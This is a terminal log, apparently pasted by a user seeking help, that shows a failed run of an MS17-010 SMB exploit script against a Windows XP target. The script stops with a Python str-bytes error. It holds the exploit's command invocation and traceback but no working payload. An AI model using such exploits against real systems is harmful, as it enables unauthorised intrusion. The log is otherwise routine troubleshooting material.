┌──(kali㉿kali)-[~/MS17-010]
└─$ python3 send_and_execute.py ms17-010.exe 1 ⨯
Trying to connect to :445
Target OS: Windows 5.1
Using named pipe: netlogon
Groom packets
Traceback (most recent call last):
File "/home/kali/MS17-010/send_and_execute.py", line 1077, in
exploit(target, port, pipe_name)
File "/home/kali/MS17-010/send_and_execute.py", line 839, in exploit
if not info['method'](conn, pipe_name, info):
File "/home/kali/MS17-010/send_and_execute.py", line 615, in exploit_fish_barrel
conn.send_trans('', mid=mid, param=trans_param, totalParameterCount=0x100-TRANS_NAME_LEN, totalDataCount=0xec0, maxParameterCount=0x40, maxDataCount=0)
File "/home/kali/MS17-010/mysmb.py", line 262, in send_trans
self.send_raw(self.create_trans_packet(setup, param, data, mid, maxSetupCount, totalParameterCount, totalDataCount, maxParameterCount, maxDataCount, pid, tid, noPad))
File "/home/kali/MS17-010/mysmb.py", line 258, in create_trans_packet
_put_trans_data(transCmd, param, data, noPad)
File "/home/kali/MS17-010/mysmb.py", line 73, in _put_trans_data
transData = ('\x00' * padLen) + parameters
TypeError: can only concatenate str (not "bytes") to str
unable to execute the script. See errors below:
┌──(kali㉿kali)-[~/MS17-010] └─$ python3 send_and_execute.py [port] [pipe_name]
send_and_execute.py
┌──(kali㉿kali)-[~/MS17-010] └─$ python3 send_and_execute.py ms17-010.exe 1 ⨯
Trying to connect to :445
Target OS: Windows 5.1
Using named pipe: netlogon
Groom packets
Traceback (most recent call last):
File "/home/kali/MS17-010/send_and_execute.py", line 1077, in
exploit(target, port, pipe_name)
File "/home/kali/MS17-010/send_and_execute.py", line 839, in exploit
if not info['method'](conn, pipe_name, info):
File "/home/kali/MS17-010/send_and_execute.py", line 615, in exploit_fish_barrel
conn.send_trans('', mid=mid, param=trans_param, totalParameterCount=0x100-TRANS_NAME_LEN, totalDataCount=0xec0, maxParameterCount=0x40, maxDataCount=0)
File "/home/kali/MS17-010/mysmb.py", line 262, in send_trans
self.send_raw(self.create_trans_packet(setup, param, data, mid, maxSetupCount, totalParameterCount, totalDataCount, maxParameterCount, maxDataCount, pid, tid, noPad))
File "/home/kali/MS17-010/mysmb.py", line 258, in create_trans_packet
_put_trans_data(transCmd, param, data, noPad)
File "/home/kali/MS17-010/mysmb.py", line 73, in _put_trans_data
transData = ('\x00' * padLen) + parameters
TypeError: can only concatenate str (not "bytes") to str